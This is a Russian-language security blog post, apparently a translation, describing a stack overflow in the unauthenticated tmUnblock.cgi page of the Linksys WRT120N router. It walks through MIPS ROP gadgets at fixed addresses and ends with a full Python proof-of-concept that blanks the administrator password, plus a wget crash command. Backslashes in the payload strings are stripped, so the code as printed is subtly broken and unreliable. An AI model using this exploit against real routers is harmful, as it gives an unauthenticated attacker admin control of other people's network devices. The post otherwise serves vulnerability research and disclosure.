После того, как мы получили расшифрованную прошивку и JTAG-доступ к устройству, настало время поисследовать код на какие-нибудь интересные баги.
Как мы узнали раньше, WRT120N работает на RTOS. В целях безопасности, административный WEB-интерфейс RTOS использует HTTP Basic authentication:
Большинство страниц требуют аутентификацию, но есть несколько страниц, которые явно запрещают ее:
Любой запрос на эти URL будет выполнен без аутентификации, поэтому это хорошее место для поиска багов.
Некоторые из этих страниц не существуют на самом деле, другие существуют, но ничего не делают (NULL-функции). Однако, страница по адресу /cgi/tmUnBlock.cgi имеет какой-то обработчик, который обрабатывает пользовательские данные:
Интересный кусок кода, который следует рассмотреть — вот этот вот:
fprintf(request->socket, "Location %snn", GetWebParam(cgi_handle, "TM_Block_URL"));
Хоть и на первый взгляд он выглядит порядочным, обработка параметра TM_Block_URL POST-запроса уязвима благодаря недостатку в имплементации fprintf:
Да, fprintf вызывает vsprintf с форматом и аргументами и складываем в локальный буфер, ограниченный 256 байтами.
Уважай себя. Не используй sprintf.
Это значит, что POST-параметр TM_Block_URL вызовет переполнение стека в fprintf, если он будет больше 246 байтов (sizeof(buf) – strlen(“Location: “)):
$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
Стектрейс падения
Сделаем-ка простенький эксплоит, который будет перезаписывать критические данные в памяти, ну, например, пароль администратора, который находится по адресу 0x81544AF0:
Пароль администратора является стандартной NULL-terminated строкой, поэтому если мы сможем записать всего лишь один NULL байт по адресу, то мы сможем залогиниться в роутер с пустым паролем. Нам нужно убедиться, что система продолжит нормально работать после эксплоита.
Если посмотреть на конец функции fprintf, можно увидеть, что регистры $ra и $s0 восстанавливаются из стека, значит, мы можем управлять этими регистрами, когда мы переполняем стек:
Есть еще отличный кусок кода по адресу 0x8031F634, который записывает 4 NULL-байта из регистра $zero по адресу в регистре $s0.
Если мы используем переполнение так, чтобы fprintf вернулся на 0x8031F634 и перезаписал $s0 адресом с административным паролем (0x81544AF0), тогда этот код сделает следующее:
- Сбросил пароль администратора
- Возвратится на адрес возврата из стека (а мы контролируем стек)
- Добавит 16 к указателю стека
Последний пункт является проблемой. Нам нужно, чтобы система продолжила работать и не упала, но если мы просто вернемся в функцию cgi_tmUnBlock как fprintf и сделал бы, мы получим смещение стека на 16 байт.
Найти пригодный к использованию MIPS ROP gadget (последовательности инструкций для выполнения обратно-ориентированного программирования, прим. пер.), который уменьшает указатель стека на 16 байт может быть проблематично, поэтому мы пойдем другим путем.
Если посмотреть на адрес, где fprintf должен был вернуться в cgi_tmUnblock, мы можем увидеть, что все что он там делает, это восстанавливает $ra, $s1 и $s0 из стека, затем возвращается и добавляет 0×60 к указателю стека:
Конечно, нет таких gadgets, которые бы именно это и делали, но есть неплохой по адресу 0x803471B8, который довольно похож:
Этот gadget добавляет к стеку только 0×10, но это не проблема. Мы сделаем дополнительные stack frames, которые заставят ROP gadget вернуться саму в себя 5 раз. На пятой итерации, оригинальные значения $ra, $s1 и $s0, которые мы передавали в cgi_tmUnblock, будут восстановлены из стека, и наш ROP gadget вернется к caller'у cgi_tmUnblock:
С правильными значениями в стеке и регистрах, система продолжит работу как ни в чем не бывало. Вот вам PoC (скачать):
import sys
import urllib2
try:
target = sys.argv[1]
except IndexError:
print "Usage: %s <target ip>" % sys.argv[0]
sys.exit(1)
url = target + '/cgi-bin/tmUnblock.cgi'
if '://' not in url:
url = 'http://' + url
post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data += "B" * 246 # Filler
post_data += "x81x54x4AxF0" # $s0, address of admin password in memory
post_data += "x80x31xF6x34" # $ra
post_data += "C" * 0x28 # Stack filler
post_data += "D" * 4 # ROP 1 $s0, don't care
post_data += "x80x34x71xB8" # ROP 1 $ra (address of ROP 2)
post_data += "E" * 8 # Stack filler
for i in range(0, 4):
post_data += "F" * 4 # ROP 2 $s0, don't care
post_data += "G" * 4 # ROP 2 $s1, don't care
post_data += "x80x34x71xB8" # ROP 2 $ra (address of itself)
post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the
# last stack frame where it needs to be 1 byte (to
# account for the trailing "nn" and terminating
# NULL byte)
try:
req = urllib2.Request(url, post_data)
res = urllib2.urlopen(req)
except urllib2.HTTPError as e:
if e.code == 500:
print "OK"
else:
print "Received unexpected server response:", str(e)
except KeyboardInterrupt:
pass
Выполнение кода тоже возможно, но об этом как-нибудь в другой раз.
Автор: ValdikSS